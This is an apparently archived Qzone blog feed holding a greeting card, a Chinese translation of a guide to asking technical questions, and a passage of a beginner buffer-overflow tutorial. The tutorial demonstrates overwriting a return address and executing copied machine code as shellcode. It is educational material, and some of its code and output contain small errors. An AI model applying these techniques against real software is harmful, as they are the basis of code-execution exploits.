<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[(*^__^*)]]></title>
<description><![CDATA[契约者]]></description>
<link>http://896376374.qzone.qq.com</link>
<lastBuildDate>Sat, 28 Nov 2009 21:11:25 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Mon, 19 May 2008 14:10:29 GMT</pubDate>

<item>
<title><![CDATA[乄①星の鈊噫 寄来的贺卡]]></title>
<link>http://896376374.qzone.qq.com/blog/1211206229</link>
<description><![CDATA[ 乄①星の鈊噫 寄来的贺卡《传递爱心》<a href="http://mail.qq.com" target="_blank">回赠贺卡给您的好友</a><wbr /><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="440" height="330" src="http://res.mail.qq.com/zh_CN/greetingcard/flash/zf/03/zf03340.swf" /><br><a href="http://mail.qq.com" target="_blank"><wbr /><a href="http://mail.qq.com/zh_CN/htmledition/images/btn_card.gif" target="_blank"><img style="border:0;" src="http://mail.qq.com/zh_CN/htmledition/images/btn_card.gif" /></a><wbr /></a><wbr /><br> 如果您无法查看贺卡，<a href="http://mail.qq.com/viewfcard.html?link=http://res.mail.qq.com/zh_CN/greetingcard/flash/zf/03/zf03340.swf&amp;from=%E4%B9%84%E2%91%A0%E6%98%9F%E3%81%AE%E9%88%8A%E5%99%AB" target="_blank">点击此处查看</a><wbr />。<br><br>再大的震，震不动我们的决心，<br>再大的雨，浇不灭我们的爱心，<br>我把这种决心，这种爱心传递给你，让我们共铸爱的长城，<br>祝福四川人民。<br>------------------<br><span style="color:#ff0000;line-height:1.8em;">  '齷嘚訫 .___．粹咯..ホ,馥Ｓ叅Ｓ涝敦坎纺圻复原 `゛¨寳呗 ī伱的⒈佝 対丆起 「 箮頖 莪 ↘si 侀,﹖</span><wbr /><wbr /><a href="http://res.mail.qq.com/zh_CN/images/mo/PIGPIG/m17.gif" target="_blank"><img style="border:0;" src="http://res.mail.qq.com/zh_CN/images/mo/PIGPIG/m17.gif" /></a><wbr /><br><br><br><br><br><br><br><span style="filter: glow(color=#FF6600,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"><a href="http://mail.qq.com/zh_CN/htmledition/announcement_qzone.html" target="_blank"><span style="color:#FFFFFF;line-height:1.8em;">此日志来自QQ邮箱！方便快捷写Qzone的新方式，详情请进&gt;&gt;</span><wbr /></a><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1211206229#comment</comments>
<qz:effect>1052673</qz:effect>
<pubDate>Mon, 19 May 2008 14:10:29 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1211206229</guid>
</item>

<item>
<title><![CDATA[提問的智慧]]></title>
<link>http://896376374.qzone.qq.com/blog/1211109777</link>
<description><![CDATA[Copyright (C) 2001 by Eric S. Raymond<br>中文版 Copyleft 2001 by D.H.Grand(nOBODY/Ginux)<br>英文版：<a href="http://www.tuxedo.org/~esr/faqs/smart-questions.html" target="_blank">http://www.tuxedo.org/~esr/faqs/smart-questions.html</a><wbr /><br>感謝 Eric 的耐心指點和同意，本文才得以完成並發佈，<br>本指南 英文版版權為 Eric Steven Raymond 所有，<br>中文版版權由 D.H.Grand[nOBODY/Ginux] 所有。<br><br>在黑客世界裏，當提出一個技術問題時，你能得到怎樣的回答？<br>這取決於挖出答案的難度，同樣取決於你提問的方法。<br>本指南旨在幫助你提高發問技巧，以獲取你最想要的答案。<br><br>首先你必須明白，黑客們只偏愛艱巨的任務，或者能激發他們思維的好問題。<br>如若不然，我們還來幹嗎？如果你有值得我們反復咀嚼玩味的好問題，<br>我們自會對你感激不盡。好問題是激勵，是厚禮，可以提高我們的理解力，<br>而且通常會暴露我們以前從沒意識到或者思考過的問題。<br>對黑客而言，“問得好！”是發自內心的大力稱讚。<br><br>儘管黑客們有蔑視簡單問題和不友善的壞名聲，有時看起來似乎我們對新手，<br>對知識貧乏者懷有敵意，但其實不是那樣的。<br><br>我們不想掩飾對這樣一些人的蔑視--他們不願思考，<br>或者在發問前不去完成他們應該做的事。<br>這種人只會謀殺時間--他們只願索取，從不付出，無端消耗我們的時間，<br>而我們本可以把時間用在更有趣的問題或者更值得回答的人身上。<br> 我們稱這樣的人為“失敗者”（由於歷史原因，我們有時把它拼作“lusers”）。<br><br>我們在很大程度上屬於志願者，從繁忙的生活中抽出時間來解惑答疑，<br>而且時常被提問淹沒。所以我們無情的濾掉一些話題，<br>特別是拋棄那些看起來象失敗者的傢伙，以便更高效的利用時間來回答勝利者的問題。<br><br>如果你覺得我們過於傲慢的態度讓你不爽，讓你委屈，不妨設身處地想想。<br>我們並沒有要求你向我們屈服--事實上，我們中的大多數人最喜歡公平交易不過了，<br>只要你付出小小努力來滿足最起碼的要求，我們就會歡迎你加入到我們的文化中來?<br>但讓我們幫助那些不願意幫助自己的人是沒有意義的。<br><br>如果你不能接受這種“歧視”，我們建議你花點錢找家商業公司簽個術支援協議得了，<br>別向黑客乞求 如果你決定向我們求助，當然不希望被視為失敗者，<br>更不願成為失敗者中的一員。立刻得到有效答案的最好方法，就是象勝利者那樣提問<br> —— 聰明、自信、有解決問題的思路，只是偶爾在特定的問題上需要獲得一點幫助。<br><br>（歡迎對本指南提出改進意見。任何建議請E-mail至<a href="mailto:esr@thyrsus.com" target="_blank">esr@thyrsus.com</a><wbr />，<br>然而 請注意，本文並非網路禮節的通用指南，我通常會拒絕無助於在技術論壇<br>得到有用答案的建議。） （當然，如果你寫中文，最好還是寄<a href="mailto:DHGrand@hotmail.com" target="_blank">DHGrand@hotmail.com</a><wbr />;-）<br><br>= 提問之前 =<br><br>在通過電郵、新聞組或者聊天室提出技術問題前，檢查你有沒有做到：<br>1. 通讀手冊，試著自己找答案。<br>2. 在FAQ裏找答案（一份維護得好的FAQ可以包羅萬象:）。<br>3. 在網上搜索（個人推薦google~~~）。<br>4. 向你身邊精於此道的朋友打聽。<br><br>當你提出問題的時候，首先要說明在此之前你幹了些什麼；<br>這將有助於樹立你的形象：你不是一個妄圖不勞而獲的乞討者，不願浪費別人的時間。<br>如果提問者能從答案中學到東西，我們更樂於回答他的問題。<br><br>周全的思考，準備好你的問題，草率的發問只能得到草率的回答，<br>或者根本得不到任何答案。越表現出在尋求幫助前為解決問題付出的努力，<br>你越能得到實質性的幫助。<br><br>小心別問錯了問題。如果你的問題基於錯誤的假設，普通黑客（J. Random Hacker）<br>通常會用無意義的字面解釋來答復你，心裏想著“蠢問題...”，<br>希望著你會從問題的回答（而非你想得到的答案）中汲取教訓。<br><br>決不要自以為夠資格得到答案，你沒這種資格。畢竟你沒有為這種服務支付任何報酬。<br>你要自己去“掙”回一個答案，靠提出一個有內涵的，有趣的，<br>有思維激勵作用的問題--一個對社區的經驗有潛在貢獻的問題，<br>而不僅僅是被動的從他人處索要知識--去掙到這個答案。<br><br>另一方面，表明你願意在找答案的過程中做點什麼，是一個非常好的開端。<br>“誰能給點提示？”、“我這個例子裏缺了什麼？”以及“我應該檢查什麼地方？”<br>比“請把確切的過程貼出來”更容易得到答復。因為你顯得只要有人指點正確的方向，<br>你就有完成它的能力和決心。<br><br>= 怎樣提問 =<br><br>- 謹慎選擇論壇<br>小心選擇提問的場合。如果象下面描述的那樣，你很可能被忽略掉或者被看作失敗者：<br>1. 在風馬牛不相及的論壇貼出你的問題<br>2. 在探討高級技巧的論壇張貼非常初級的問題；反之亦然<br>3. 在太多的不同新聞組交叉張貼<br><br>- 用辭貼切，語法正確，拼寫無誤<br>我們從經驗中發現，粗心的寫作者通常也是馬虎的思考者（我敢打包票）。<br>回答粗心大意者的問題很不值得，我們寧願把時間耗在別處。<br><br>正確的拼寫，標點符號和大小寫很重要。<br>更一般的說，p果你的提問寫得象個半文盲，你很有可能被忽視。<br><br>如果你在使用非母語的論壇提問，你可以犯點拼寫和語法上的小錯<br>--但決不能在思考上馬虎（沒錯，我們能弄清兩者的分別）<br><br>- 使用含義豐富，描述準確的標題<br>在郵件列表或者新聞組中，大約50字以內的主題標題是抓住資深專家注意力的黃金時機。<br>別用喋喋不休的“幫幫忙”（更別說“救命啊！！！！！”這 樣讓人反感的話）<br>來浪費這個機會。不要妄想用你的痛苦程度來打動我們， 別用空格代替問題的描述，<br>哪怕是極其簡短的描述。<br><br>蠢問題： 救命啊！我的膝上機不能正常顯示了！<br>聰明問題： XFree86 4.1下滑鼠游標變形，Fooware MV1005的顯示晶片。<br><br>如果你在回復中提出問題，記得要修改內容標題，表明裏面有一個問題。<br>一個看起來象“Re：測試”或者“Re：新bug”的問題很難引起足夠重視。<br>另外，引用並刪減前文的內容，給新來的讀者留下線索。<br><br>- 精確描述，信息量大<br>1. 謹慎明確的描述症狀。<br>2. 提供問題發生的環境（機器配置、作業系統、應用程式以及別的什麼）。<br>3. 說明你在提問前是怎樣去研究和理解這個問題的。<br>4. 說明你在提問前採取了什麼步驟去解決它。<br>5. 羅列最近做過什麼可能有影響的硬體、軟體變更。<br><br>儘量想像一個黑客會怎樣反問你，在提問的時候預先給他答案。<br><br>Simon Tatham寫過一篇名為《如何有效的報告Bug》的出色短文。強力推薦你也讀一讀。<br><br>- 話不在多<br>你需要提供精確有效的資訊。這並不是要求你簡單的把成噸的出錯代碼或者資料<br>完全轉儲摘錄到你的提問中。如果你有龐大而複雜的測試條件，<br>儘量把它剪裁得越小越好。 這樣做的用處至少有三點。<br>第一，表現出你為簡化問題付出了努力，這可以使你得到回答的機會增加；<br>第二，簡化問題使你得到有用答案的機會增加；<br>第三，在提煉 你的bug報告的過<br><br><br>- 只說症狀，不說猜想<br>告訴黑客們你認為問題是怎樣引起的沒什麼幫助。<br>（如果你的推斷如此有效，還用向別人求助嗎？），<br>因此要確信你原原本本告訴了他們問題的症狀，不要加進你自己的理解和推論。<br>讓黑客們來診斷吧。<br><br>蠢問題： 我在內核編譯中一次又一次遇到SIG11錯誤，<br>我懷疑某條飛線搭在主板的走線上了，這種情況應該怎樣檢查最好？<br>聰明問題： 我自製的一套K6/233系統，主板是FIC-PA2007 （VIA Apollo VP2晶片組），<br>256MB Corsair PC133 SDRAM，在內核編譯中頻頻產生SIG11錯誤，<br>從開機20分鐘以後就有這種情況，開機 前20分鐘內從沒發生過。<br>重啟也沒有用，但是關機一晚上就又能工作20分鐘。所有記憶體都換過了，沒有效果。<br>相關部分的典型編譯記錄如下...。<br><br>- 按時間順序列出症狀<br>對找出問題最有幫助的線索，往往就是問題發生前的一系列操作，<br>因此，你的說明 應該包含操作步驟，以及電腦的反應，直到問題產生。<br><br>如果你的說明很長（超過四個段落），在開頭簡述問題會有所幫助，<br>接下來按時間順序詳述。這樣黑客們就知道該在你的說明中找什麼。<br><br>- 明白你想問什麼<br>漫無邊際的提問近乎無休無止的時間黑洞。最能給你有用答案的人也正是最忙的人<br>（他們忙是因為要親自完成大部分工作）。這樣的人對無節制的時間黑洞不太感冒，<br>因此也可以說他們對漫無邊際的提問不大感冒。<br><br>如果你明確表述需要回答者做什麼（提供建議，發送一段代碼，檢查你的補丁 或是別的）<br>，就最有可能得到有用的答案。<br>這會定出一個時間和精力的上限，便於回答者集中精力來幫你<br>A這很湊效。要理解專家們生活的世界，要把專業技能想像為充裕的資源，<br>而回復的時間則是貧乏的資源。解決你的問題需要的時間越少，<br>越能從忙碌的專家口中掏出答案。<br><br>因此，優化問題的結構，儘量減少專家們解決它所需要的時間，<br>會有很大的幫助--這通常和簡化問題有所區別。<br>因此，問“我想更好的理解X，能給點提示嗎？”通常比問“你能解釋一下X嗎？更好。<br>如果你的代碼不能工作，問問它有什麼地方不對，比要求別人替你修改要明智得多。<br><br>- 別問應該自己解決的問題<br>黑客們總是善於分辨哪些問題應該由你自己解決；因為我們中的大多數都曾自己解決<br>這類問題。同樣，這些問題得由你來搞定，你會從中學到東西。<br>你可以要求給點提示，但別要求得到完整的解決方案。<br><br>- 去除無意義的疑問<br>別用無意義的話結束提問，例如“有人能幫我嗎？”或者“有答案嗎？”。<br>首先：如果你對問題的描述不很合適，這樣問更是畫蛇添足。<br>其次：由於這 樣問是畫蛇添足，黑客們會很厭煩你--而且通常會用邏輯上正確的回答<br>來表 示他們的蔑視，例如：“沒錯，有人能幫你”或者“不，沒答案”。<br><br>- 謙遜絕沒有害處，而且常幫大忙<br>彬彬有禮，多用“請”和“先道個謝了”。<br>讓大家都知道你對他們花費時間義務提供幫助心存感激。<br>然而，如果你有很多問題無法解決，禮貌將會增加你得到有用答案的機會。<br><br>（我們注意到，自從本指南發佈後，從資深黑客處得到的唯一嚴重缺陷反饋，<br>就是對預先道謝這一條。一些黑客覺得“先謝了”的言外之意是過後就不會再感謝<br>任何人了。我們的建議是：都道謝。）<br><br>- 問題解決後，加個簡短說明<br>問題解決後，向所有幫助過你的人發個說明，讓他們知道問題是怎樣解決的，<br>並再一次向他們表示感謝。如果問題在新聞組或者郵件列表中引起了廣泛關注，<br>應該在那裏貼一個補充說明<br>。補充說明不必很長或是很深入；簡單的一句“你好，原來是網線出了問題！<br>謝謝大家--Bill”比什麼也不說要強。事實上，除非結論真的很有技術含量，<br>否則簡短可愛的小結比長篇學<br>術論文更好。說明問題是怎樣解決的，但大可不必將解決問題的過程復述一遍。<br>除了表示禮貌和反饋資訊以外，這種補充有助於他人在郵件列表/新聞組/論壇中搜索<br>對你有過幫助的完整<br>解決方案，這可能對他們也很有用。最後（至少？），<br>這種補充有助於所有提供過幫助的人從中得到滿足感。<br>如果你自己不是老手或者黑客，那就相信我們，這種感覺對於那些你向他們<br>求助的導師或者專家而言，是非常重要的。問題久拖未決會讓人灰心；<br>黑客們渴望看到問題被解決。好人有好報，滿足他們的渴望，<br>你會在下次貼出新問題時嘗到甜頭。<br><br>- 還是不懂<br>如果你不是很理解答案，別立刻要求對方解釋。<br>象你以前試著自己解決問題時那樣（利用手冊，FAQ，網路，身邊的高手），<br>去理解它。如果你真的需要對方解釋，記得表現出你已經學<br>鴗F點什麼。比方說，如果我回答你：“看來似乎是zEntry被阻塞了；<br>你應該先清除它。”，然後：一個很糟的後續問題：“zEntry是什麼？”<br>聰明的問法應該是這樣：“哦~~~我看過幫助了但是只有-z和-p兩個參數中<br>提到了zEntry而且還都沒有清楚的解釋:&lt;你是指這兩個中的哪一個嗎？<br>還是我看漏了什麼？”<br><br>=三思而後問 =<br><br>以下是幾個經典蠢問題，以及黑客在拒絕回答時的心中所想：<br><br>問題：我能在哪找到X程式？<br>問題：我的程式/配置/SQL申明沒有用<br>問題：我的Windows有問題，你能幫我嗎？<br>問題：我在安裝Linux（或者X）時有問題，你能幫我嗎？<br>問題：我怎麼才能破解root帳號/竊取OP特權/讀別人的郵件呢？<br><br>提問：我能在哪找到X程式？<br>回答：就在我找到它的地方啊蠢貨--搜索引擎的那一頭。天?！還有人不會用Google嗎？<br><br>提問：我的程式（配置、SQL申明）沒有用<br>回答：這不算是問題吧，我對找出你的真正問題沒興趣--如果要我問你二十個問題<br>才找得出來的話--我有更有意思的事要做呢。<br><br>在看到這類問題的時候，我的反應通常不外如下三種<br><br>1. 你還有什麼要補充的嗎？<br>2. 真糟糕，希望你能搞定。<br>3. 這跟我有什麼鳥相關？<br><br>提問：我的Windows有問題，你能幫我嗎？<br>回答：能啊，扔掉萎軟的垃圾，換Linux吧。<br><br>提問：我在安裝Linux（或者X）時有問題，你能幫我嗎？<br>回答：不能，我只有親自在你的電腦上動手才能找到毛病。<br>還是去找你當地的Linux用戶組尋求手把手的指導吧（你能在這兒找到用戶組的清單）。<br><br>提問：我怎麼才能破解root帳號/竊取OP特權/讀別人的郵件呢？<br>回答：想要這樣做，說明你是個卑鄙小人；想找個黑客幫你，說明你是個白癡！<br><br>= 好問題，壞問題 =<br><br>最後，我舉一些例子來說明，怎樣聰明的提問；<br>同一個問題的兩種問法被放在一起，一種是愚蠢的，另一種才是明智的。<br><br>蠢問題：我可以在哪兒找到關於Foonly Flurbamatic的資料？<br>// 這種問法無非想得到“STFW”這樣的回答。<br><br>聰明問題：我用Google搜索過“Foonly Flurbamatic 2600”，<br>但是沒找到有用的結果。誰知道上哪兒去找對這種設備編程的資料？<br>// 這個問題已經STFW過了，看起來他真的遇到了麻煩。<br><br>蠢問題：我從FOO項目找來的源碼沒法編譯。它怎麼這麼爛？<br>// 他覺得都是別人的錯，這個傲慢自大的傢伙<br><br>聰明問題：FOO專案代碼在Nulix 6.2版下無法編譯通過。<br>我讀過了FAQ，但裏面沒有提到跟Nulix有關的問題。<br>這是我編譯過程的記錄，我有什麼做得不對的地方嗎？<br>// 他講明瞭環境，也讀過了FAQ，還指明了錯誤，<br>並且他沒有把問題的責任推到別人頭上，這個傢伙值得留意。<br><br>蠢問題：我的主板有問題了，誰來幫我？<br>// 普通黑客對這類問題的回答通常是：“好的，還要幫你拍拍背和換尿布嗎？”<br> ，然後按下刪除鍵。<br><br>聰明問題：我在S2464主板上試過了X、Y和Z，但沒什麼作用，<br>我又試了A、B和C。請注意當我嘗試C時的奇怪現象。顯然邊帶傳輸中出現了收縮，<br>但結果出人意料。在多處理器主板上引起邊帶洩漏的通常原因是什麼？<br>誰有好主意接下來我該做些什麼測試才能找出問題？<br>// 這個傢伙，從另一個角度來看，值得去回答他。他表現出了解決問題的能力，<br>而不是坐等天上掉答案。<br><br>在最後一個問題中，注意“告訴我答案”和“給我啟示，指出我還應該做什麼診斷工作”<br>之間微妙而又重要的區別。<br>事實上，後一個問題源自於2001年8月在Linux內核郵件列表上的一個真實的提問。<br>我（Eric）就是那個提出問題的人。我在Tyan S2464主板上觀察到了這種無法解釋的<br>鎖定現象，列表成員們提供了解決那一問題的重要資訊。<br><br>通過我的提問方法，我給了大家值得玩味的東西；我讓人們很容易參與並且被吸引進來。<br>我顯示了自己具備和他們同等的能力，邀請他們與我共同探討。<br>我告訴他們我所走過的彎路，以避免他們再浪費時間，這是一種對他人時間價值的尊重。<br>後來，當我向每個人表示感謝，並且讚賞這套程式（指郵件列表中的討論<br>--譯者注）運作得非常出色的時候，一個Linux內核?<br>件列（lkml）成員表示，問題得到解決並非由於我是這個列表中的“名人”，<br>而是因為我用了正確的方式來提問。<br>我們黑客從某種角度來說是擁有豐富知識但缺乏人情味的傢伙；我相信<br>他是對的，如果我象個乞討者那樣提問，不論我是誰，一定會惹惱某些人<br>或者被他們忽視。他建議我記下這件事，給編寫這個指南的人一些指導。<br><br>= 找不到答案怎麼辦 =<br><br>如果仍得不到答案，請不要以為我們覺得無法幫助你。<br>有時只是看到你問題的人不知道答案罷了。沒有回應不代表你被忽視，<br>雖然不可否認這種差別很難區分。<br><br>總的說來，簡單的重複張貼問題是個很糟的想法。這將被視為無意義的喧鬧。<br><br>你可以通過其他渠道獲得幫助，這些渠道通常更適合初學者的需要。<br>有許多網上的以及本地的用戶組，由狂熱的軟體愛好者<br>（即使他們可能從沒親自寫過任何軟體）組成。通常人們組建<br>這樣的團體來互相幫助並幫助新手。<br><br>另外，你可以向很多商業公司尋求幫助，不論公司大還是小<br>（Red Hat 和LinuxCare 就是兩個最常見的例子）。<br>別為要付費才能獲得幫助而感到沮喪！畢竟，假使你的汽車發動機汽缸密<br>封圈爆掉了--完全可能如此--你還得把它送到修車鋪，並且為維修付費。<br>就算軟體沒花費你一分錢，你也不能強求技術支援總是免費的。<br><br>對大眾化的軟體，就象Linux之類而言，每個開發者至少會有上萬名用戶。<br>根本不可能由一個人來處理來自上萬名用戶的求助電話。<br>要知道，即使你要為幫助付費，同你必須購買同類軟體相比，<br>你所付出的也是微不足道的（通常封閉源代碼軟體的技術支援費用比開放源代碼軟體<br>要高得多，且內容也不那麼豐富）。<br><br><br><br>RTFM和STFW：別煩我啦<br><br>有一個古老而神聖的傳統：如果你收到“RTFM （Read The Fucking Manual）”的<br>回復，回答者認為你應該去讀TMD手冊。當然，基本上他是對的，你應該讀一讀。<br><br>RTFM有一個年輕的親戚。如果答案是“STFW （Search The Fucking Web）”，回<br>答者認為你應該到TMD的網上去搜索。基本上，他也是對的，你就去找吧。<br><br>通常，用這兩句之一回答你的人會給你一份包含你需要內容的手冊或者一個網址，<br>而且他們打這些字的時候正在閱讀著。<br>這些答復意味著回答者認為(1). 你需要的 資訊非常容易獲得；<br>(2). 你自己去搜索這些資訊比灌給你能讓你學到更多。<br><br>別為這個而不爽；依照黑客的標準，他沒有對你的要求視而不見，已經能大致能表<br>示對你的關注。你應該對他祖母般的慈祥表示感謝。 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1211109777#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Sun, 18 May 2008 11:22:57 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1211109777</guid>
</item>

<item>
<title><![CDATA[缓冲区溢出光速入门]]></title>
<link>http://896376374.qzone.qq.com/blog/1209658594</link>
<description><![CDATA[<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">缓冲区溢出基基础<br>缓冲区溢出通常是向数组中写数据时，写入的数据的长度超出了数组原始定义的大小。<br>比如前面你定义了 int buff[10]，那么只有buff[0] - buff[9]的空间是我们定义 buff时<br>申请的合法空间，但后来往里面写入数据时出现了buff[12]=0x10 则越界了。C语言常用的<br>strcpy、sprintf、strcat 等函数都非常容易导致缓冲区溢出问题。<br>查阅C 语言编程的书籍时通常会告诉你程序溢出后会发生不可预料的结果。在网络安<br>全领域，缓冲区溢出利用的艺术在于让这个“不可预料的结果”变为我们期望的结果。<br>看下面这个演示程序：buf.c<br>/* buffer overflow example by </span><wbr />[email=[ft=#00ff00,3,黑体]watercloud@xfocus.org</span><wbr />]watercloud@xfocus.org[/email]<span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;"> */<br>#include&lt;stdio.h&gt;<br>void why_here(void) /*这个函数没有任何地方调用过 */<br>{<br>printf(&quot;why u here ?!\n&quot;);<br>_exit(0);<br>}<br>int main(int argc,char * argv[])<br>{<br>int buff[1];<br>buff[2]=(int)why_here;<br>return 0;<br>}<br>在命令行用 VC的命令行编译器编译(在 Linux下用 gcc编译并运行也是同样结果）：<br>C:\Temp&gt;cl buf.c<br>运行程序：</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">C:\Temp&gt;buf.exe<br>why u here ?!<br>仔细分析程序和打印信息，你可以发现程序中我们没有调用过 why_here函数，但该函数却<br>在运行的时候被调用了！！<br>这里唯一的解释是 buff[2]=why_here;操作导致了程序执行流程的变化。<br>要解释此现象需要理解一些C语言底层（和计算机体系结构相关）及一些汇编知识，尤其是<br>“栈”和汇编中 CALL/RET的知识，如果这方面你尚有所欠缺的话建议参考一下相关书籍，<br>否则后面的内容会很难跟上。<br>假设你已经有了对栈的基本认识，我们来理解一下程序运行情况：<br>进入 main函数后的栈内容下：<br>[ eip ][ ebp ][ buff[0] ]<br>高地址 &lt;---- 低地址<br>以上 3个存储单元中 eip为 main函数的返回地址，buff[0]单元就是 buff申明的一个 int<br>空间。程序中我们定义 int buff[1]，那么只有对buff[0]的操作才是合理的（我们只申请<br>了一个int空间），而我们的buff[2]=why_here操作超出了buff的空间，这个操作越界了，<br>也就是溢出了。溢出的后果是： 对 buff[2]赋值其实就是覆盖了栈中的 eip存放单元的数<br>据，将 main函数的返回地址改为了 why_here函数的入口地址。这样 main函数结束后返回<br>的时候将这个地址作为了返回地址而加以运行。<br>上面这个演示是缓冲区溢出最简单也是最核心的溢出本质的演示，需要仔细的理解。如果还<br>不太清楚的话可以结合对应的汇编代码理解。<br>用VC的命令行编译器编译的时候指定 FA参数可以获得对应的汇编代码（Linux平台可以用<br>gcc 的-S参数获得）：<br>C:\Temp&gt;cl /FA tex.c<br>C:\Temp&gt;type tex.asm<br>TITLE tex.c<br>.386P<br>include listing.inc<br>if @Version gt 510<br>.model FLAT<br>else<br>_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'<br>_TEXT ENDS<br>_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'<br>_DATA ENDS<br>CONST SEGMENT DWORD USE32 PUBLIC 'CONST'</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">CONST ENDS<br>_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'<br>_BSS ENDS<br>$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'<br>$$SYMBOLS ENDS<br>_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'<br>_TLS ENDS<br>FLAT GROUP _DATA, CONST, _BSS<br>ASSUME CS: FLAT, DS: FLAT, SS: FLAT<br>endif<br>INCLUDELIB LIBC<br>INCLUDELIB OLDNAMES<br>_DATA SEGMENT<br>$SG775 DB 'why u here ?!', 0aH, 00H<br>_DATA ENDS<br>PUBLIC _why_here<br>EXTRN _printf:NEAR<br>EXTRN __exit:NEAR<br>_TEXT SEGMENT<br>_why_here PROC NEAR<br>push ebp<br>mov ebp, esp<br>push OFFSET FLAT:$SG775<br>call _printf<br>add esp, 4<br>push 0<br>call __exit<br>add esp, 4<br>pop ebp<br>ret 0<br>_why_here ENDP<br>_TEXT ENDS<br>PUBLIC _main<br>_TEXT SEGMENT<br>_buff$ = -4 ; size = 4<br>_argc$ = 8 ; size = 4<br>_argv$ = 12 ; size = 4<br>_main PROC NEAR<br>push ebp<br>mov ebp, esp<br>push ecx</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">mov DWORD PTR _buff$[ebp+8], OFFSET FLAT:_why_here<br>xor eax, eax<br>mov esp, ebp<br>pop ebp<br>ret 0<br>_main ENDP<br>_TEXT ENDS<br>END<br>这个例子中我们溢出 buff后覆盖了栈中的函数返回地址，由于覆盖数据为栈中的数据，所<br>以也称为栈溢出。对应的，如果溢出覆盖发生在堆中，则称为堆溢出，发生在已初始化数据<br>区的则称为已初始化数据区溢出。<br>实施对缓冲区溢出的利用（即攻击有此问题的程序）需要更多尚未涉及的主题：<br>1. shellcode 功能<br>2. shellcode 存放和地址定位<br>3. 溢出地址定位<br>这些将在以后的章节中详细讲解。<br>SHELLCODE 基础<br>溢出发生后要控制溢出后的行为关键就在于shellcode的功能。shellcode其实就是一<br>段机器码。因为我们平时顶多用汇编写程序，绝对不会直接用机器码编写程序，所以感觉<br>shellcode 非常神秘。这里让我们来揭开其神秘面纱。<br>看看程序 shell0.c：<br>#include&lt;stdio.h&gt;<br>int add(int x,int y) {<br>return x+y;<br>}<br>int main(void) {<br>result=add(129,127);<br>printf(&quot;result=%i\n&quot;,result);<br>return 0;<br>}<br>这个程序太简单了！那么我们来看看这个程序呢？shell1.c<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>int add(int x,int y)<br>{<br>return x+y;</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">}<br>typedef int (* PF)(int,int);<br>int main(void)<br>{<br>unsigned char buff[256];<br>unsigned char *ps=(unsigned char *)&amp;add; /* ps 指向 add函数的开始地址 */<br>unsigned char *pd=buff;<br>int result=0;<br>PF pf=(PF)buff;<br>while(1)<br>{<br>*pd=*ps;<br>printf(&quot;</span><wbr /><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">\\x%02x&quot;,*ps</span><wbr /><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">);<br>if(*ps==0xc3)<br>{<br>break;<br>}<br>pd++,ps++;<br>}<br>result=pf(129,127); /*此时的 pf指向 buff */<br>printf(&quot;\nresult=%i\n&quot;,result);<br>return 0;<br>编译出来运行，结果如下：<br>shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3<br>result=25<br>shell1和shell0的不同之处在于shell1将add函数对应的机器码从代码空间拷贝到了buff<br>中（拷贝过程中顺便把他们打印出来了），然后通过函数指针运行了 buff中的代码！<br>关键代码解释：<br>unsigned char * ps = (unsigned char *) &amp;add;<br>&amp;add 为函数在代码空间中开始地址，上面语句让 ps指向了 add函数的起始地址。<br>PF pf=(PF)buff;<br>让 pf函数指针指向 buff，以后调用pf 函数指针时将会把buff 中的数据当机器码执行。<br>*pd = * ps;<br>把机器码从 add函数开始的地方拷贝到 buff数组中。<br>if(*ps == 0xc3) { break }<br>每个函数翻译为汇编指令后都是以 ret指令结束,ret 指令对应的机器码为0xc3，这个判断<br>控制拷贝到函数结尾时停止拷贝，退出循环。<br>result=pf(129,127);<br>由于 pf指向 buff，这里调用 pf后将把 buff中的数据作为代码执行。<br>shell1 和shell0 做的事情一样，但机制就差别很大了。值得注意的是 shell1的输出中这<br>一行:</span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3<br>直接以C语言表示字符串的形式将平时深藏不露的机器码给打印了出来。其对应的C语言代<br>码是：<br>int add(int x,int y) {<br>return x+y;<br>}<br>对应的汇编码(AT&amp;T 的表示）为：<br>pushl %ebp<br>movl %esp, %ebp<br>movl 12(%ebp), %eax<br>addl 8(%ebp), %eax<br>popl %ebp<br>ret<br>接下来理解这个程序应该就很容易了 shell2.c：<br>#include&lt;stdio.h&gt;<br>typedef int (* PF)(int,int);<br>int main(void)<br>{<br>unsigned char buff[]=&quot;\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3&quot;;<br>PF 